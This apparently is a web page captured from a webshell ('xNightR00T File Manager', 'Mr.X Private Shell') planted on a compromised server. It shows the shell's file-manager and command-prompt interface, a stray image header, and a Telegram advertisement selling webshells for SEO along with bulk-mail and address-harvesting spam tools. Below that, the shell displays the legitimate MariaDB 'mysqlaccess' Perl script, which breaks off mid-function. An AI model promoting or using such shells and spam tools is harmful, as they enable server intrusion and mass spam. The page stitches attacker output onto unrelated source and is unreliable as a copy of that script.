xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/usr/bin/perl

# Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU Library General Public
# License as published by the Free Software Foundation; version 2
# of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Library General Public License for more details.
#
# You should have received a copy of the GNU Library General Public
# License along with this library; if not, write to the Free
# Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
# MA 02110-1301, USA

# ****************************
package MySQLaccess;
#use strict;
use File::Temp qw(tempfile tmpnam);
use Fcntl;

BEGIN {
	# ****************************
	# static information...
	$VERSION     = "2.06, 20 Dec 2000";
	$0           =~ m%/([^/]+)$%o;
	$script      = $1;
        $script      = 'MySQLAccess' unless $script;
	$script_conf = "$script.conf";
	$script_log  = $ENV{'HOME'}."/$script.log";

	# ****************************
	# information on MariaDB
	$MYSQL     = '/usr/bin/mysql';    # path to mysql executable
	$SERVER    = '3.21';
	$MYSQL_OPT = ' --batch --unbuffered';
	$ACCESS_DB = 'mysql';		 # name of DB with grant-tables
	$ACCESS_H  = 'host';		 # 
	$ACCESS_U  = 'user';	         # 
	$ACCESS_D  = 'db';               #
	# Add/Edit privileges
	$ACCESS_H_TMP = 'host_tmp';      
	$ACCESS_U_TMP = 'user_tmp';      
	$ACCESS_D_TMP = 'db_tmp';        
	$ACCESS_H_BCK = 'host_backup';   
	$ACCESS_U_BCK = 'user_backup';   
	$ACCESS_D_BCK = 'db_backup';     
        $DIFF      = '/usr/bin/diff'; 
        $MYSQLDUMP = '/usr/bin/mysqldump';
                                         #path to mysqldump executable

        $MYSQLADMIN= 'http://foobar.com/MySQLadmin';
                                         #URL of CGI for manipulating
                                         #the temporary grant-tables
}

END {
	unlink $MYSQL_CNF if defined $MYSQL_CNF and not $DEBUG;
}

$INFO = <<"_INFO";
--------------------------------------------------------------------------
   mysqlaccess (Version $VERSION)
   ~~~~~~~~~~~
   Copyright (C) 1997,1998 Yves.Carlier\@rug.ac.be
                           University of Ghent (RUG), Belgium
                           Administratieve Informatieverwerking (AIV)

   report the access-privileges for a USER from a HOST to a DB

   Many thanks go to <monty\@mysql.com> and <psmith\@BayNetworks.COM>
   for their suggestions, debugging and patches. 

   use `$script -?' to get more information on available options.

   From version 2.0x, $script can also be used through a WEB-browser
   if it is ran as a CGI-script.  (See the release-notes)

--------------------------------------------------------------------------
_INFO

$OPTIONS = <<_OPTIONS;

Usage: $script [host [user [db]]] OPTIONS

  -?, --help           display this helpscreen and exit
  -v, --version        print information on the program `$script'

  -u, --user=#         username for logging in to the db
  -p, --password=#     validate password for user
  -h, --host=#         name or IP-number of the host
  -d, --db=#           name of the database

  -U, --superuser=#    connect as superuser
  -P, --spassword=#    password for superuser
  -H, --rhost=#        remote MariaDB-server to connect to
      --old_server     connect to old MariaDB-server (before v3.21) which 
                       does not yet know how to handle full where clauses.

  -b, --brief          single-line tabular report
  -t, --table          report in table-format

  --relnotes           print release-notes
  --plan               print suggestions/ideas for future releases
  --howto              some examples of how to run `$script'
  --debug=N            enter debuglevel N (0..3)

  --copy               reload temporary grant-tables from original ones
  --preview            show differences in privileges after making
                       changes in (temporary) grant-tables
  --commit             copy grant-rules from temporary tables to grant-tables
                       (!don't forget to do an mysqladmin reload)
  --rollback           undo the last changes to the grant-tables.

  Note:
    At least the user and the db must be given (even with wildcards)
    If no host is given, `localhost' is assumed
    Wilcards (*,?,%,_) are allowed for host, user and db, but be sure 
    to escape them from your shell!! (ie type \\* or '*')
_OPTIONS

$RELEASE = <<'_RELEASE';
 
Release Notes:
-------------
  0.1-beta1: internal
  - first trial.
 
  0.1-beta2: (1997-02-27)
  - complete rewrite of the granting-rules, based on the documentation
    found in de FAQ.
  - IP-number and name for a host are equiv.
 
  0.1-beta3: (1997-03-10)
  - more information
  - 'localhost' and the name/ip of the local machine are now equiv.

  0.1-beta4: (1997-03-11)
  - inform the user if he has not enough priv. to read the mysql db

  1.0-beta1: (1997-03-12)
  suggestions by Monty:
  - connect as superuser with superpassword.
  - mysqlaccess could also notice if all tables are empty. This means
    that all user have full access!
  - It would be nice if one could optionally start mysqlaccess without
    any options just the arguments 'user db' or 'host user db', where
    host is 'localhost' if one uses only two arguments.

  1.0-beta2: (1997-03-14)
  - bugfix: translation to reg.expr of \_ and \%.
  - bugfix: error in matching regular expression and string given
            by user which resulted in
            'test_123' being matched with 'test'

  1.0-beta3: (1997-03-14)
  - bugfix: the user-field should not be treated as a sql-regexpr,
            but as a plain string.
  - bugfix: the host-table should not be used if the host isn't empty in db
                                          or  if the host isn't emty in user
            (Monty)
 
  1.0-beta4: (1997-03-14)
  - bugfix: in an expression "$i = $j or $k", the '=' binds tighter than the or
            which results in problems...
            (by Monty)
  - running mysqlaccess with "perl -w" gives less warnings...   ;-)

  1.0-beta5: (1997-04-04)
  - bugfix: The table sorting was only being applied to the "user" table; all
            the tables need to be sorted.  Rewrote the sort algorithm, and
            the table walk algorithm (no temp file anymore), and various
            other cleanups.  I believe the access calculation is 100% correct.
            (by Paul D. Smith <psmith\@baynetworks.com>)
  - Allow the debug level to be set on the cmd line with --debug=N.
            (by Paul D. Smith <psmith\@baynetworks.com>)
  - More -w cleanups; should be totally -w-clean.
            (by Paul D. Smith <psmith\@baynetworks.com>)
 
  1.1-beta1: (1997-04-xx) 
  1.1-beta2: (1997-04-11)
  - new options:
             --all_users : report access-rights for all possible users
             --all_dbs   : report access-rights for all possible dbs
             --all_hosts : report access-rights for all possible hosts
             --brief     : as brief as possible, don't mention notes,warnings and rules
             --password  : validate password for user 
  - layout: long messages are wrapped on the report.
  - functionality:
            more descriptive notes and warnings
            wildcards (*,?) are allowed in the user,host and db options
            setting xxxx=* is equiv to using option --all_xxxx
            note: make sure you escape your wildcards, so they don't get
                  interpreted by the shell.  use \* or '*'
  - bugfix: Fieldnames which should be skipped on the output can now have
            a first capital letter.
  - bugfix: any option with a '.' (eg ip-number) was interpreted as
            a wildcard-expression.
  - bugfix: When no entry was found in the db-table, the default accessrights are
            N, instead of the faulty Y in a previous version.
 
  1.1-beta-3  : (1997-04-xx)
  1.1-beta-4  : (1997-04-xx)
  1.1-beta-5  : (1997-04-xx)
  1.1         : (1997-04-28)
  - new options:
            --rhost     : name of mysql-server to connect to
            --plan      : print suggestions/ideas for future releases
            --relnotes  : display release-notes
            --howto     : display examples on how to use mysqlaccess
            --brief     : single-line tabular output
  - functionality/bugfix:
    *      removed options --all_users,--all_dbs,--all_hosts, which 
           were redundant with the wildcard-expressions for the corresponding
           options. They made the processing of the commandline too painful 
           and confusing ;-)
           (suggested by psmith)
    *      redefined the option --brief, which now gives a single-line 
           tabular output
    *      Now we check if the right version of the mysql-client is used,
           since we might use an option not yet implemented in an
           older version (--unbuffered, since 3.0.18)
           Also the error-messages the mysql-client reports are 
           better interpreted ;-)  
    *      Wildcards can now be given following the SQL-expression 
           (%,_) and the Regular-expression (*,?) syntax.
  - speed: we now open a bidirectional pipe to the mysql-client, and keep 
           it open throughout the whole run. Queries are written to,
           and the answers read from the pipe.
           (suggested by monty)
  - bugfixes:
    *      the Rules were not properly reset over iterations 
    *      when in different tables the field-names were not identical, 
           eg. Select_priv and select_priv, they were considered as 
           definitions of 2 different access-rights.
    *      the IP-number of a host with a name containing wildcards should
           not be searched for in Name2IP and IP2Name.
    *      various other small things, pointed out by <monty> and <psmith>

  1.2         : (1997-05-13)
  - bugfix:
    * Fixed bug in acl with anonymous user:  Now if one gets accepted by the
      user table as a empty user name, the user name is set to '' when 
      checking against the 'db' and 'host' tables. (Bug fixed in MySQL3.20.19)

  1.2-1       : (1997-xx-xx)
  - bugfix:
    * hashes should  be initialized with () instead of {} <psmith>
    * "my" variable $name masks earlier declaration in same scope,
      using perl 5.004 <????>

  1.2-2       : (1997-06-10)
    
  2.0p1-3     : (1997-10-xx)
  - new
    * packages
    * log-file for debug-output : /tmp/mysqlaccess.log
    * default values are read from a configuration file $script.conf
      first this file is looked for in the current directory; if not
      found it is looked for in /etc
      Note that when default-values are given, these can't get overridden
      by empty (blanc) values!
    * CGI-BIN version with HTML and forms interface.  Simply place the
      script in an ScriptAliased directory, make the configuration file
      available in the that directory or in /etc, and point your browser
      to the right URL. 
    * copy the grant-rules to temporary tables, where you are safe to
      play with them.
    * preview changes in privileges after changing grant-rules,
      before taking them into production
    * copy the new grant-rules from the temporary tables back to the
      grant-tables.
    * Undo all changes made in the grant-tables (1-level undo).
  -new options:
    * --table   : as opposite of the --brief option.
    * --copy    : (re)load temporary grant-tables from original ones.
    * --preview : preview changes in privileges after changing
                  some or more entries in the grant-tables.
    * --commit  : copy grant-rules from temporary tables to grant-tables
                  (!don't forget to do an mysqladmin reload)
    * --rollback: undo the last changes to the grant-tables.

  - bugfix:
    * if the table db is empty, mysqlaccess freezed 
      (by X Zhu <X.Zhu@Bradford.ac.uk>)

  2.0         : (1997-10-09)
  - fixed some "-w" warnings.
  - complain when certain programs and paths can't be found.

  2.01        : (1997-12-12)
  - bugfix:
    * rules for db-table where not calculated and reported correctly.
  2.02        : (1998-01-xx)
  - bugfix:
    * Privileges of the user-table were not AND-ed properly with the
      other privileges. (reported by monty)
  - new option:
    * --old_server: mysqlaccess will now use a full where clause when
                    retrieving information from the MySQL-server.  If
                    you are connecting to an old server (before v3.21)
                    then use the option --old_server.
  2.03         : (1998-02-27)
  - bugfix:
    * in Host::MatchTemplate: incorrect match if host-field was left empty.

  2.04-alpha1  : (2000-02-11)
  Closes vulnerability due to former implementation requiring passwords
  to be passed on the command line.
  - functionality
    Option values for --password -p -spassword -P  may now be omitted from
    command line, in which case the values will be prompted for.
      (fix supplied by Steve Harvey <sgh@vex.net>)

   2.05: (2000-02-17)   Monty
   Moved the log file from /tmp to ~

   2.06:  Don't print '+++USING FULL WHERE CLAUSE+++'

_RELEASE

$TODO = <<_TODO;

 Plans:
 -----
  -a full where clause is use now.  How can we handle older servers?
  -add some more functionality for DNS.
  -select the warnings more carefuly.
  >>  I think that the warnings should either be enhanced to _really_
  >>  understand and report real problems accurately, or restricted to
  >>  only printing things that it knows with 100% certainty. <psmith)
  >>  Why do I have both '%' and 'any_other_host' in there?  Isn't that
  >>  the same thing?  I think it's because I have an actual host '%' in
  >>  one of my tables.  Probably the script should catch that and not
  >>  duplicate output. <psmith>

_TODO

# From the FAQ: the Grant-algorithm
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# The host table is mainly to maintain a list of "secure" servers.
# At TCX hosts contain a list of all machines on local network. These are granted
# all privileges.
# Technically the user grant is calculated by:
#
#    1.First sort all entries by host by putting host without wildcards first,
#      after this host with wildcards and entries with host = ".
#      Under each host sort user by the same criterias.
#    2.Get grant for user from the "db" table.
#    3.If hostname is "empty" for the found entry, AND the privileges with
#      the privileges for the host in "host" table.
#      (Remove all which is not "Y" in both)
#    4.OR (add) the privileges for the user from the "user" table.
#     (add all privileges which is "Y" in "user")
#
#    When matching, use the first found match.
#
# -----------------------------------------------------------------------------------

$HOWTO = <<_HOWTO;

Examples of how to call $script:
~~~~~~~~
1)Calling $script with 2 arguments:

  \$ $script root mysql
     ->report rights of user root logged on at the local host in db mysql

  Access-rights
  for USER 'root', from HOST 'localhost', to DB 'mysql'
          +-----------------+---+ +-----------------+---+
          | select_priv     | Y | | drop_priv       | Y |
          | insert_priv     | Y | | reload_priv     | Y |
          | update_priv     | Y | | shutdown_priv   | Y |
          | delete_priv     | Y | | process_priv    | Y |
          | create_priv     | Y | | file_priv       | Y |
          +-----------------+---+ +-----------------+---+
  BEWARE:  Everybody can access your DB as user 'root'
        :  WITHOUT supplying a password.  Be very careful about it!!

  The following rules are used:
   db    : 'No matching rule'
   host  : 'Not processed: host-field is not empty in db-table.'
   user  : 'localhost','root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'

2)Calling $script with 3 arguments:

  \$ $script foo.bar nobody Foo 
     ->report rights of user root logged in at machine foobar to db Foo

  Access-rights
  for USER 'nobody', from HOST 'foo.bar', to DB 'Foo'
          +-----------------+---+ +-----------------+---+
          | select_priv     | Y | | drop_priv       | N |
          | insert_priv     | Y | | reload_priv     | N |
          | update_priv     | Y | | shutdown_priv   | N |
          | delete_priv     | Y | | process_priv    | N |
          | create_priv     | N | | file_priv       | N |
          +-----------------+---+ +-----------------+---+
  BEWARE:  Everybody can access your DB as user 'nobody'
        :  WITHOUT supplying a password.  Be very careful about it!!

  The following rules are used:
   db    : 'foo.bar','Foo','nobody','Y','Y','Y','N','N','N'
   host  : 'Not processed: host-field is not empty in db-table.'
   user  : 'foo.bar','nobody','','N','N','N','Y','N','N','N','N','N','N'

3)Using wildcards:

  \$ $script  \\* nobody Foo --brief
     ->report access-rights of user nobody from all machines to db Foo,
       and use a matrix-report.

  Sel  Ins  Upd  Del  Crea Drop Reld Shut Proc File Host,User,DB        
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- --------------------
   Y    Y    Y    Y    N    N    N    N    N    N   localhost,nobody,Foo
   N    N    N    N    N    N    N    N    N    N   %,nobody,Foo  
   N    N    N    N    N    N    N    N    N    N   any_other_host,nobody,Foo

_HOWTO


# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #
#                       START OF THE PROGRAM                            #
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #

use Getopt::Long;
use Sys::Hostname;
use IPC::Open3;


# ****************************
# debugging flag
# can be set to 0,1,2,3
# a higher value gives more info
# ! this can also be set on the command-line
	$DEBUG   = 0;

# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>8
#  Normally nothing should be changed beneeth this line


# ****************************
# no caching on STDOUT
	$|=1;

	$MYSQL_CNF = tmpnam();
	%MYSQL_CNF = (client    => { },
                      mysql     => { },
                      mysqldump => { },
	);



$NEW_USER = 'ANY_NEW_USER';
$NEW_DB   = 'ANY_NEW_DB'  ;


# %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #
#  mysqlaccess:                                              #
#  ~~~~~~~~~~~                                               #
#  Lets get to it,                                           #
#  and start the program by processing the parameters        #
# %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #

($CMD,$CGI) = GetMode();

# ****************************
# the copyright message should
# always be printed (once)
MySQLaccess::Report::Print_Header();

# *****************************
# Read configuration-file
  MySQLaccess::Debug::Print(1, "Reading configuration file...");
  if (-f "/etc/$script_conf") {
     print "Configuration file '$script_conf' is found in '/etc/'\n";
     require "/etc/$script_conf";
  }
  elsif (-f "/usr/$script_conf") {
     print "Configuration file '$script_conf' is found in '/usr/'\n";
     require "/usr/$script_conf";
  }
  elsif (-f "./$script_conf") {
     print "\nERROR! Configuration file '$script_conf' is found in the current ";
     print "directory.\nThe permissible locations for this file are either ";
     print "/etc/ or /usr/\n";
     print "Please move it to one of these locations and retry.\n\n";
     exit 0;
  }


# ****************************
# Read in all parameters
if ($MySQLaccess::CMD) { #command-line version
	# ----------------------------
	# Get options from commandline
	$Getopt::Long::ignorecase=0; #case sensitive options
	if ( grep(/\-\?/,@ARGV) ) { MySQLaccess::Report::Print_Usage(); exit 0; }
	GetOptions("help"          => \$Param{'help'}
	          ,"host|h=s"      => \$Param{'host'}
	          ,"user|u=s"      => \$Param{'user'}
	          ,"password|p:s"  => \$Param{'password'}
	          ,"db|d=s"        => \$Param{'db'}
	          ,"superuser|U=s" => \$Param{'superuser'}
	          ,"spassword|P:s" => \$Param{'spassword'}
	          ,"rhost|H=s"     => \$Param{'rhost'}
                  ,"old_server"    => \$Param{'old_server'}
	          ,"debug=i"       => \$Param{'DEBUG'}
	          ,"brief|b"       => \$Param{'brief'}
	          ,"table|t"       => \$Param{'table'}
	          ,"relnotes"      => \$Param{'relnotes'}
	          ,"plan"          => \$Param{'plan'}
	          ,"howto"         => \$Param{'howto'}
	          ,"version|v"     => \$Param{'version'}
                  ,"preview"       => \$Param{'preview'}
                  ,"copy"          => \$Param{'copy'}
                  ,"commit"        => \$Param{'commit'}
                  ,'rollback'      => \$Param{'rollback'}
		  );

        # -----------------------------
        # set DEBUG
        $DEBUG = $Param{'DEBUG'} if ($Param{'DEBUG'}>=$DEBUG);

	# -----------------------------
	# check for things which aren't
	# declared as options:
	# 2 arguments: (user,db) -> ('localhost','user','db')
	if ($#ARGV == 1) {
	   MySQLaccess::Debug::Print(2,"$script called with 2 arguments:");
	   $Param{'host'} = $Param{'host'} || 'localhost'; 
	   $Param{'user'} = $ARGV[0] || $Param{'user'};
           $Param{'db'}   = $ARGV[1] || $Param{'db'}; 
	}
	# 3 arguments: (host,user,db)
	if ($#ARGV == 2) {
	   MySQLaccess::Debug::Print(2,"$script called with 3 arguments:");
	   $Param{'host'} = $ARGV[0] || $Param{'host'};
	   $Param{'user'} = $ARGV[1] || $Param{'user'};
	   $Param{'db'}   = $ARGV[2] || $Param{'db'};
	}

	# -------------------------------------
	# prompt for user password if requested
	if ( defined($Param{'password'}) && length($Param{'password'}) == 0 ) {
           $Param{'password'} = PromptPass(
	                        "Password for MySQL user $Param{'user'}: ");
	}
}
if ($MySQLaccess::CGI) { #CGI-version
	require CGI;
 	$Q = new CGI;
	$Param{'help'} = $Q->param('help') ;
	$Param{'host'} = $Q->param('host') || $Q->param('h') || $Param{'host'};
	$Param{'user'} = $Q->param('user') || $Q->param('u') || $Param{'user'};
	$Param{'db'}   = $Q->param('db')   || $Q->param('d') || $Param{'db'};
	$Param{'password'}  = $Q->param('password')  || $Q->param('p') || $Param{'password'};
	$Param{'superuser'} = $Q->param('superuser') || $Q->param('U') || $Param{'superuser'};
	$Param{'spassword'} = $Q->param('spassword') || $Q->param('P') || $Param{'spassword'};
	$Param{'rhost'}     = $Q->param('rhost')     || $Q->param('H') || $Param{'rhost'};
	$Param{'old_server'}= $Q->param('old_server')|| $Param{'old_server'};
	$Param{'debug'}     = $Q->param('debug')     || $Param{'debug'};
	$Param{'brief'}     = $Q->param('brief')     || $Param{'brief'}; 
	$Param{'table'}     = $Q->param('table')     || $Param{'table'}; 
	$Param{'relnotes'}  = $Q->param('relnotes');
	$Param{'plan'}      = $Q->param('plan');
	$Param{'howto'}     = $Q->param('howto'); 
	$Param{'version'}   = $Q->param('version') ? $Q->param('version') : $Q->param('v');
	$Param{'edit'}      = $Q->param('edit'); 
	$Param{'preview'}   = $Q->param('preview'); 
	$Param{'copy'}      = $Q->param('copy'); 
	$Param{'commit'}    = $Q->param('commit'); 
	$Param{'rollback'}  = $Q->param('rollback'); 
        # -----------------------------
        # set DEBUG
        $DEBUG = $Q->param('debug') if ($Q->param('debug')>=$DEBUG);
}

# ----------------------
# brief and table-format 
# exclude each-other
# table-format is prefered
if (defined($Param{'table'})) { undef($Param{'brief'}); }
if (defined($Param{'preview'}) or
    defined($Param{'copy'}) or
    defined($Param{'commit'}) or
    defined($Param{'rollback'}) ) { $Param{'edit'}='on'; }


# ----------------------
# if no host is given
# assume we mean 'localhost'
if (!defined($Param{'host'}))      { $Param{'host'}='localhost'; }

# ----------------------
# perform some checks
# -> eliminate 'broken pipe' error
push(@MySQLaccess::Grant::Error,'not_found_mysql')     if !(-x $MYSQL);
push(@MySQLaccess::Grant::Error,'not_found_diff')      if !(-x $DIFF);
push(@MySQLaccess::Grant::Error,'not_found_mysqldump') if !(-x $MYSQLDUMP);
if (@MySQLaccess::Grant::Error) {
   MySQLaccess::Report::Print_Error_Messages() ;
   exit 0;
}

#-----------------------
# get info/help if necc.
$print_usage=1;
if ( defined($Param{'version'}) ) {
   MySQLaccess::Report::Print_Version();
   $print_usage=0;
   MySQLaccess::Report::Print_Footer();
   MySQLaccess::DB::CloseConnection();
   exit 0;
#   exit 0;
}
if ( defined($Param{'relnotes'}) ) {
   MySQLaccess::Report::Print_Relnotes();
   $print_usage=0;
   MySQLaccess::Report::Print_Footer();
   MySQLaccess::DB::CloseConnection();
   exit 0;
#   exit 0;
}
if ( defined($Param{'plan'}) ) {
   MySQLaccess::Report::Print_Plans();
   $print_usage=0;
   MySQLaccess::Report::Print_Footer();
   MySQLaccess::DB::CloseConnection();
   exit 0;
#   exit 0;
}
if ( defined($Param{'howto'}) ) {
   MySQLaccess::Report::Print_HowTo();
   $print_usage=0;
   MySQLaccess::Report::Print_Footer();
   MySQLaccess::DB::CloseConnection();
   exit 0;
#   exit 0;
}

# -----------------------------
# generate a help-screen in CMD-mode
# or a blanc form in CGI-mode 
if ( defined($Param{'help'}) 
     or !defined($Param{'user'}) 
     or !defined($Param{'host'})
     or !defined($Param{'db'}) 
   ) {
   push(@MySQLaccess::Grant::Error,'user_required') unless defined($Param{'user'});
   push(@MySQLaccess::Grant::Error,'db_required') unless defined($Param{'db'});
   push(@MySQLaccess::Grant::Error,'host_required') unless defined($Param{'host'});
   MySQLaccess::Report::Print_Usage() if $print_usage;
   exit 0;
}


# ----------------------------
# get hostname and local-ip
# for localhost
$localhost = MySQLaccess::Host::LocalHost();
$local_ip  = MySQLaccess::Host::Name2IP($localhost);
$MySQLaccess::Host::localhost = MySQLaccess::Host::LocalHost();
$MySQLaccess::Host::local_ip  = MySQLaccess::Host::Name2IP($localhost);
MySQLaccess::Debug::Print(3, "localhost name=$localhost, ip=$local_ip");

#-----------------------------------
# version of MySQL-server to connect
# to determine use of full where clause
$MySQLaccess::Host::SERVER = $Param{'old_server'} ? '3.20' : $SERVER;

#---------------------------------
# create the config file for mysql and mysqldump
# to avoid passing authentication info on the command line
#
MergeConfigFiles();
die "Unsafe config file found: $unsafeConfig\n"  if $unsafeConfig;
if (defined($Param{'superuser'})) {
   $MYSQL_CNF{'mysql'}{'user'} = $Param{'superuser'};
   $MYSQL_CNF{'mysqldump'}{'user'} = $Param{'superuser'};
}
if (defined($Param{'spassword'})) {
   if ( $CMD && length($Param{'spassword'}) == 0 ) {
      $Param{'spassword'} =
           PromptPass("Password for MySQL superuser $Param{'superuser'}: ");
   }
   if ( length($Param{'spassword'}) > 0 ) {
      $MYSQL_CNF{'mysql'}{'password'} = $Param{'spassword'};
      $MYSQL_CNF{'mysqldump'}{'password'} = $Param{'spassword'};
   }
}
WriteTempConfigFile();

#---------------------------------
# Inform user if he has not enough
# privileges to read the access-db
if ( $nerror=MySQLaccess::DB::OpenConnection() ) {
    MySQLaccess::Report::Print_Error_Access($nerror);
    exit 0;
}

# -----------------------
# Read MySQL ACL-files
if ($nerror=MySQLaccess::Grant::ReadTables()) {
    MySQLaccess::Report::Print_Error_Access($nerror);
    exit 0;
};
if ($Param{'edit'} and $nerror=MySQLaccess::Grant::ReadTables('tmp')) {
    MySQLaccess::Report::Print_Error_Access($nerror);
    exit 0;
}

#---------------------------------
# reload temporay grant-tables 
# with data from original ones
if ( defined($Param{'copy'}) ) {
   $nerror=MySQLaccess::DB::LoadTmpTables();
   if ($nerror) {
      MySQLaccess::Report::Print_Error_Access($nerror);
      exit 0;
   }
   my $msg = "The grant-rules are copied from the grant-tables to\n"
           . "the temporary tables.";
   MySQLaccess::Report::Print_Message([$msg]);
#   MySQLaccess::Report::Print_Footer();
#   MySQLaccess::DB::CloseConnection();
#   exit 0;
}


#---------------------------------
# preview result of changes in the 
# grant-tables
if ( defined($Param{'preview'}) ) {
   $aref=MySQLaccess::Grant::Diff_Privileges();
   MySQLaccess::Report::Print_Diff_ACL($aref);
#   MySQLaccess::Report::Print_Footer();
#   MySQLaccess::DB::CloseConnection();
#   exit 0;
}


#---------------------------------
# reload grant-tables 
# with data from temporary tables
if ( defined($Param{'commit'}) ) {
   if ($nerror = MySQLaccess::DB::CommitGrantTables()) {
      MySQLaccess::Report::Print_Error_Access($nerror);
      exit 0;
   }
   my $msg = "The grant-rules have been copied from the temporary tables\n"
           . "to the grant-tables.";
   my $msg1= "Don't forget to do an 'mysqladmin reload' before these\n"
           . "changes take effect.";
   my $msg2= "A backup-version of your original grant-rules are saved in the\n"
           . "backup-tables, so you can always perform a 1-level rollback.";
   MySQLaccess::Report::Print_Message([$msg,$msg1,$msg2]);
#   MySQLaccess::Report::Print_Footer();
#   MySQLaccess::DB::CloseConnection();
#   exit 0;
}

#---------------------------------
# restore previous grant-rules
# with data from backup tables
if ( defined($Param{'rollback'}) ) {
   if ($nerror = MySQLaccess::DB::RollbackGrantTables()) {
      MySQLaccess::Report::Print_Error_Access($nerror);
      exit 0;
   }
   my $msg = "The old grant-rules have been copied back from the backup tables\n"
           . "to the grant-tables.";
   my $msg1= "Don't forget to do an 'mysqladmin reload' before these\n"
           . "changes take effect.";
   MySQLaccess::Report::Print_Message([$msg,$msg1]);
#   MySQLaccess::Report::Print_Footer();
#   MySQLaccess::DB::CloseConnection();
#   exit 0;
}
#----------------------------------
# show edit-taskbar
if ( defined($Param{'edit'})) {
   if ($MySQLaccess::CGI ) {
   MySQLaccess::Report::Print_Edit();
   $print_usage=0;
   MySQLaccess::Report::Print_Footer();
   MySQLaccess::DB::CloseConnection();
   exit 0;
   }
   else {
   MySQLaccess::Report::Print_Edit();
   $print_usage=0;
   MySQLaccess::Report::Print_Footer();
   MySQLaccess::DB::CloseConnection();
   exit 0;
   }
}


# -----------------------------
# Build list of users,dbs,hosts
# to process...
@all_dbs   = @{MySQLaccess::DB::Get_All_dbs($Param{'db'})};
@all_users = @{MySQLaccess::DB::Get_All_users($Param{'user'})};
@all_hosts = @{MySQLaccess::DB::Get_All_hosts($Param{'host'})};
#if EDIT-mode
#@all_dbs_tmp   = @{MySQLaccess::DB::Get_All_dbs($Param{'db'},'tmp')};
#@all_users_tmp = @{MySQLaccess::DB::Get_All_users($Param{'user'},'tmp')};
#@all_hosts_tmp = @{MySQLaccess::DB::Get_All_hosts($Param{'host'},'tmp')};

# -----------------------------
# Report access-rights for each
# tuple (host,user,db)
#$headers=0;
my %Access = ();
foreach $host (@all_hosts) {
  foreach $user (@all_users) {
    foreach $db (@all_dbs) {
      MySQLaccess::Grant::Initialize();
      %Access = MySQLaccess::Grant::Get_Access_Rights($host,$user,$db);	
      MySQLaccess::Report::Print_Access_rights($host,$user,$db,\%Access);
    }
  }
}

# -----------------------------
# End script
MySQLaccess::Report::Print_Footer();
MySQLaccess::DB::CloseConnection();
exit 0;

#############################################################
#  FUNCTIONS  #
###############
sub GetMode {
   my $cmd=0;
   my $cgi=0;
   if (defined($ENV{'HTTP_HOST'})) { $cmd=0; $cgi=1; }
   else                            { $cmd=1; $cgi=0; } 
   return ($cmd,$cgi);
}

# ================================
# sub PromptPass
#  prompt tty for a password
# ================================
sub PromptPass {
    my ($prompt) = @_;
    my $password;
    $ENV{PATH} = "/bin:/usr/bin";
    $ENV{IFS} = " \t\n";
    $ENV{SHELL} = "/bin/sh";
    system "stty -echo";
    print $prompt;
    chomp($password = <STDIN>);
    print "\n";
    system "stty echo";
    $password;
}

# =================================
# sub CheckUnsafeFile
#  tell if a config file containing a password is unsafe
# =================================
sub CheckUnsafeFile {
    my ($fname) = @_;
    my ($dev, $ino, $mode, $nlink,
        $uid, $gid, $rdev, $size,
        $atime, $mtime, $ctime, $blksize, $blocks) = stat($fname);

    if ( $uid != $< ) {   # unsafe if owned by other than current user
        return 1;
    }
    if ( $mode & 066 ) {  # unsafe if accessible by other
        return 1;
    }
    $fname =~ s#/[^/]+$##;
    if ( (length $fname) > 0 ) {
        return CheckUnsafeDir($fname);
    }
    return 0;
}

# =================================
# sub CheckUnsafeDir
#  tell if a directory is unsafe
# =================================
sub CheckUnsafeDir {
    my ($fname) = @_;
    my ($dev, $ino, $mode, $nlink,
        $uid, $gid, $rdev, $size,
        $atime, $mtime, $ctime, $blksize, $blocks) = stat($fname);

    # not owned by me or root
    if ( ($uid != $<) && ($uid != 0) ) {
        return 1;
    }
    if ( $mode & 022 ) {  # unsafe if writable by other
        return 1  unless $mode & 01000;  # but sticky bit ok
    }
    $fname =~ s#/[^/]+$##;
    if ( (length $fname) > 0 ) {
        return CheckUnsafeDir($fname);
    }
    return 0;
}

# =================================
# sub MergeConfigFile
#  merge data from .cnf file
# =================================
sub MergeConfigFile {
    my ($fname) = @_;
    my ($group, $item, $value);
    if ( open CNF, $fname ) {
         while (<CNF>) {
             s/^\s+//;
             next if /^[#;]/;
             if ( /\[\s*(\w+)\s*]/ ) {
                 $group = $1;
                 $group =~ tr/A-Z/a-z/;
                 if ( !exists $MYSQL_CNF{$group} ) {
                     undef $group;
                 }
             } elsif ( defined $group ) {
                 ($item, $value) = /((?:\w|-)+)\s*=\s*(\S+)/;
                 # don't unquote backslashes as we just write it back out
                 if ( defined $item ) {
                     if ( $item =~ /^password$/ ) {
                         if ( CheckUnsafeFile($fname) ) {
                             $unsafeConfig = $fname;
